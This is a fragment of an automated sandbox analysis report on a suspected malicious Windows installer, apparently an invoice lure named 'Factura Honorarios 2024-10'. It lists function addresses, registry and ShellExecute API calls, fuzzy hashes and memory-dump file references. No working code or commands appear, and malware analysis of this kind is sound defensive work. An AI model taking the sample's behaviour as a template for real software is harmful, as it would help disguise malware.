Associated: 00000000.00000002.2289634718.0000000000487000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2289634718.000000000048D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2289634718.000000000048F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2289634718.0000000000493000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Factura Honorarios 2024-10.jbxd

Similarity

API ID: MessageSend$Librarylstrlen$FreeHandleLoadModuleTextWindowlstrcat
String ID:
API String ID: 334405425-0
Opcode ID: 0b89ead58d390ff17d881e3191b7456e368a4c726051eef4ac93ade2398fe5f3
Instruction ID: a11216cf4d9ed69530e7a3120e2c7e0776abe0d849fb671ec08c4598754a23ed
Opcode Fuzzy Hash: 0b89ead58d390ff17d881e3191b7456e368a4c726051eef4ac93ade2398fe5f3
Instruction Fuzzy Hash: 2821B671904215F6CF206F95CE48ADE7AB4AB04358F70417BF611B51E0C7B98D81DA6D

Function 00401B22 Relevance: 4.6, APIs: 2, Strings: 1, Instructions: 72memoryCOMMON

Download Yara Rule

APIs

GlobalFree.KERNEL32(00000000), ref: 00401B92
GlobalAlloc.KERNELBASE(00000040,00000804), ref: 00401BA4

Strings

Call, xrefs: 00401B49, 00401B4F, 00401B69

Memory Dump Source

Source File: 00000000.00000002.2288899004.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2288874992.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288921148.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.0000000000424000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.000000000042A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.0000000000451000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.000000000045F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2289634718.0000000000462000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2289634718.0000000000465000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2289634718.0000000000472000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2289634718.0000000000480000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2289634718.0000000000487000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2289634718.000000000048D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2289634718.000000000048F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2289634718.0000000000493000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Factura Honorarios 2024-10.jbxd

Similarity

API ID: Global$AllocFree
String ID: Call
API String ID: 3394109436-1824292864
Opcode ID: 964461071e6e80e359c9697dbfefeb40b1bd3ce1e0a189f69a8cb19f70afb2f2
Instruction ID: 0e9c0b35001f1033de5fa53c21d3cf865b558ccbe2596cbe26b498a02803ad8f
Opcode Fuzzy Hash: 964461071e6e80e359c9697dbfefeb40b1bd3ce1e0a189f69a8cb19f70afb2f2
Instruction Fuzzy Hash: 32219CB2600504A7CB10EB94DE85D6EB3A4EF44318B20443BF101B72E1D77C98458F5D

Function 00402454 Relevance: 4.5, APIs: 3, Instructions: 44registryCOMMON

Download Yara Rule

APIs

Part of subcall function 00402C44: RegOpenKeyExW.KERNELBASE(00000000,000004C8,00000000,00000022,00000000,?,?), ref: 00402C6C

RegEnumKeyW.ADVAPI32(00000000,00000000,?,000003FF), ref: 00402483
RegEnumValueW.ADVAPI32(00000000,00000000,?,?,?,?,?,?,00000003), ref: 00402496
RegCloseKey.ADVAPI32(?,?,?,C:\Users\user\AppData\Local\Temp\nsn497A.tmp,00000000,?,?,?,?,?,?,?,00000011,00000002), ref: 004024AC

Memory Dump Source

Source File: 00000000.00000002.2288899004.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2288874992.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288921148.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.0000000000424000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.000000000042A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.0000000000451000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.000000000045F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2289634718.0000000000462000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2289634718.0000000000465000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2289634718.0000000000472000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2289634718.0000000000480000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2289634718.0000000000487000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2289634718.000000000048D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2289634718.000000000048F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2289634718.0000000000493000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Factura Honorarios 2024-10.jbxd

Similarity

API ID: Enum$CloseOpenValue
String ID:
API String ID: 167947723-0
Opcode ID: 0ef88ddf6a77f3597932d5f5950ccac7ebba6e42faf31082df8434657d37fe38
Instruction ID: 9b4534643d4666439fb6e7fa0780ec568e551195bda58a6737a49a93b172aaf7
Opcode Fuzzy Hash: 0ef88ddf6a77f3597932d5f5950ccac7ebba6e42faf31082df8434657d37fe38
Instruction Fuzzy Hash: 7EF0D1B1A04204AFEB148FA5DE88EBF767CEF40358F10483EF001A21C0D6B85D419B2A

Function 00401DF3 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 41COMMON

Download Yara Rule

APIs

ShellExecuteW.SHELL32(?,00000000,00000000,00000000,C:\Program Files (x86)\shaw,?), ref: 00401E3D

Strings

C:\Program Files (x86)\shaw, xrefs: 00401E26

Memory Dump Source

Source File: 00000000.00000002.2288899004.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2288874992.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288921148.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.0000000000424000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.000000000042A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.0000000000451000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.000000000045F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2289634718.0000000000462000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2289634718.0000000000465000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2289634718.0000000000472000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2289634718.0000000000480000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2289634718.0000000000487000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2289634718.000000000048D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2289634718.000000000048F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2289634718.0000000000493000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Factura Honorarios 2024-10.jbxd

Similarity

API ID: ExecuteShell
String ID: C:\Program Files (x86)\shaw
API String ID: 587946157-209812835
Opcode ID: 7587e70040bd90d9a45c77b38d5a8326e6407a8cac713d4af707f877f72f6e69
Instruction ID: 1d84af77b3b092231a8c26a4bbf5194ed9fa03af7e80c3faa1f479241ca17973
Opcode Fuzzy Hash: 7587e70040bd90d9a45c77b38d5a8326e6407a8cac713d4af707f877f72f6e69
Instruction Fuzzy Hash: 5EF0C275B14200BACB006FB59D4AF9E73B8AB24729F300936F402F70D1D6FC88419628

Function 004023E0 Relevance: 3.1, APIs: 2, Instructions: 56registryCOMMON

Download Yara Rule

APIs

Part of subcall function 00402C44: RegOpenKeyExW.KERNELBASE(00000000,000004C8,00000000,00000022,00000000,?,?), ref: 00402C6C

RegQueryValueExW.ADVAPI32(00000000,00000000,?,00000800,?,?,?,?,00000033), ref: 00402411
RegCloseKey.ADVAPI32(?,?,?,C:\Users\user\AppData\Local\Temp\nsn497A.tmp,00000000,?,?,?,?,?,?,?,00000011,00000002), ref: 004024AC

Memory Dump Source

Source File: 00000000.00000002.2288899004.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2288874992.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288921148.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.0000000000424000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.000000000042A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.0000000000451000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.000000000045F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2289634718.0000000000462000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2289634718.0000000000465000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2289634718.0000000000472000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2289634718.0000000000480000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2289634718.0000000000487000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2289634718.000000000048D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2289634718.000000000048F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2289634718.0000000000493000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Factura Honorarios 2024-10.jbxd

Similarity

API ID: CloseOpenQueryValue
String ID:
API String ID: 3677997916-0
Opcode ID: 65fa667fb9a4e770228c9edaf60a266106b1654de64b854c0c014628474dfe3e
Instruction ID: 1209522b8d3984a6b4610ed026cffc7dab670339dbbb9e9ecb5883d5f24cd4f7
Opcode Fuzzy Hash: 65fa667fb9a4e770228c9edaf60a266106b1654de64b854c0c014628474dfe3e
Instruction Fuzzy Hash: D5117371915205EEDF14CFA0C6889AFB7B4EF44359F20843FE042A72D0D7B85A41DB5A

Function 00401389 Relevance: 3.0, APIs: 2, Instructions: 43windowCOMMON

Download Yara Rule

APIs

MulDiv.KERNEL32(00007530,00000000,00000000), ref: 004013E4
SendMessageW.USER32(00000402,00000402,00000000), ref: 004013F4

Memory Dump Source

Source File: 00000000.00000002.2288899004.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2288874992.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288921148.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.0000000000424000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.000000000042A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.0000000000451000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.000000000045F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2289634718.0000000000462000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2289634718.0000000000465000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2289634718.0000000000472000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2289634718.0000000000480000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2289634718.0000000000487000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2289634718.000000000048D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2289634718.000000000048F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2289634718.0000000000493000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Factura Honorarios 2024-10.jbxd

Similarity

API ID: MessageSend
String ID:
API String ID: 3850602802-0
Opcode ID: 3b73f58598246971e780ef50935e80d1208b404ce952b395e35e3e50ed7a2881
Instruction ID: a30e82e9015a098eeac925556b61d7d627792a5c50f4ab7e1fdfecd72b7c1cbe
Opcode Fuzzy Hash: 3b73f58598246971e780ef50935e80d1208b404ce952b395e35e3e50ed7a2881
Instruction Fuzzy Hash: BE01D131B24210ABE7295B389C09B6A3698E710314F54863EB911F72F1DA78DC139B49

Function 004022D5 Relevance: 3.0, APIs: 2, Instructions: 40registryCOMMON

Download Yara Rule

APIs

Part of subcall function 00402C44: RegOpenKeyExW.KERNELBASE(00000000,000004C8,00000000,00000022,00000000,?,?), ref: 00402C6C

RegDeleteValueW.ADVAPI32(00000000,00000000,00000033), ref: 004022F4
RegCloseKey.ADVAPI32(00000000), ref: 004022FD

Memory Dump Source

Source File: 00000000.00000002.2288899004.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2288874992.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288921148.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.0000000000424000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.000000000042A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.0000000000451000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.000000000045F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2289634718.0000000000462000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2289634718.0000000000465000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2289634718.0000000000472000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2289634718.0000000000480000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2289634718.0000000000487000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2289634718.000000000048D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2289634718.000000000048F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2289634718.0000000000493000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Factura Honorarios 2024-10.jbxd

Similarity

API ID: CloseDeleteOpenValue
String ID:
API String ID: 849931509-0
Opcode ID: 150793ea9c0f0f78d5fe339fdd0b38b4f286fd840457b64defc1be174833c637
Instruction ID: cc00155b087d305277611582236cd6af1522243532d64526095e9acb0e968863
Opcode Fuzzy Hash: 150793ea9c0f0f78d5fe339fdd0b38b4f286fd840457b64defc1be174833c637
Instruction Fuzzy Hash: 92F06272A04210ABEB15AFF59A4EBAE7278DB04318F20453BF201B71D1D9FC5D028A6D

Function 004050F4 Relevance: 3.0, APIs: 2, Instructions: 32comCOMMON

Download Yara Rule

APIs

OleInitialize.OLE32(00000000), ref: 00405104

Part of subcall function 00404008: SendMessageW.USER32(?,00000000,00000000,00000000), ref: 0040401A

OleUninitialize.OLE32(00000404,00000000), ref: 00405150

Memory Dump Source

Source File: 00000000.00000002.2288899004.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2288874992.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288921148.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.0000000000424000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.000000000042A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.0000000000451000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.000000000045F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2289634718.0000000000462000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2289634718.0000000000465000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2289634718.0000000000472000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2289634718.0000000000480000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2289634718.0000000000487000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2289634718.000000000048D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2289634718.000000000048F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2289634718.0000000000493000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Factura Honorarios 2024-10.jbxd

Similarity

API ID: InitializeMessageSendUninitialize
String ID:
API String ID: 2896919175-0
Opcode ID: 240e8b825e7189f3908c42ea7d7fcdea2ff42de75a9fa64f2fbeca1666f16d38
Instruction ID: 93ba1ac5c4d09752290c864a5354c8073f413bcac07bbd206736f30c81cf2de5
Opcode Fuzzy Hash: 240e8b825e7189f3908c42ea7d7fcdea2ff42de75a9fa64f2fbeca1666f16d38
Instruction Fuzzy Hash: F1F0B473E046009BE7216B55AC05B677764EFD4319F05887AEF447A2E1C6754C028F6E

Function 0040156B Relevance: 3.0, APIs: 2, Instructions: 23COMMON

Download Yara Rule

APIs

ShowWindow.USER32(?,?), ref: 0040157F
ShowWindow.USER32(?), ref: 00401594

Memory Dump Source

Source File: 00000000.00000002.2288899004.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2288874992.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288921148.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.0000000000424000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.000000000042A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.0000000000451000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.000000000045F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2289634718.0000000000462000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2289634718.0000000000465000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2289634718.0000000000472000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2289634718.0000000000480000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2289634718.0000000000487000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2289634718.000000000048D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2289634718.000000000048F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2289634718.0000000000493000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Factura Honorarios 2024-10.jbxd

Similarity

API ID: ShowWindow
String ID:
API String ID: 1268545403-0
Opcode ID: de5aa4c1bb5d3f8e11959e1fc0988361606b0ee9916d96b78fe158bf821141de
Instruction ID: 292fe9cfc42e020ccba4ca1aabd821194ff51ac34ef1c963243808ae8aa21162
Opcode Fuzzy Hash: de5aa4c1bb5d3f8e11959e1fc0988361606b0ee9916d96b78fe158bf821141de
Instruction Fuzzy Hash: 9CE04872B101049BCB14CBA4ED808FDB7A5A744314754457FD502B3190C6759C118F28

Function 00401DC7 Relevance: 3.0, APIs: 2, Instructions: 21COMMON

Download Yara Rule

APIs

ShowWindow.USER32(00000000,00000000,?), ref: 00401DDD
EnableWindow.USER32(00000000,00000000), ref: 00401DE8

Memory Dump Source

Source File: 00000000.00000002.2288899004.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2288874992.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288921148.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.0000000000424000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.000000000042A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.0000000000451000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.000000000045F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2289634718.0000000000462000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2289634718.0000000000465000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2289634718.0000000000472000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2289634718.0000000000480000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2289634718.0000000000487000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2289634718.000000000048D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2289634718.000000000048F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2289634718.0000000000493000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Factura Honorarios 2024-10.jbxd

Similarity

API ID: Window$EnableShow
String ID:
API String ID: 1136574915-0
Opcode ID: 47b61285cae3f2a8e8a131cf160caa589dae6c71f8bd26570f639ce9431e4caa
Instruction ID: 16f547f83e602d96c884a904eba2f663f46e66ccec186bf88b315e1392079143
Opcode Fuzzy Hash: 47b61285cae3f2a8e8a131cf160caa589dae6c71f8bd26570f639ce9431e4caa
Instruction Fuzzy Hash: BFE08671B04104DBCB50AFF469489DD7378AB50369B100877F401F10D1C6785C008A3D

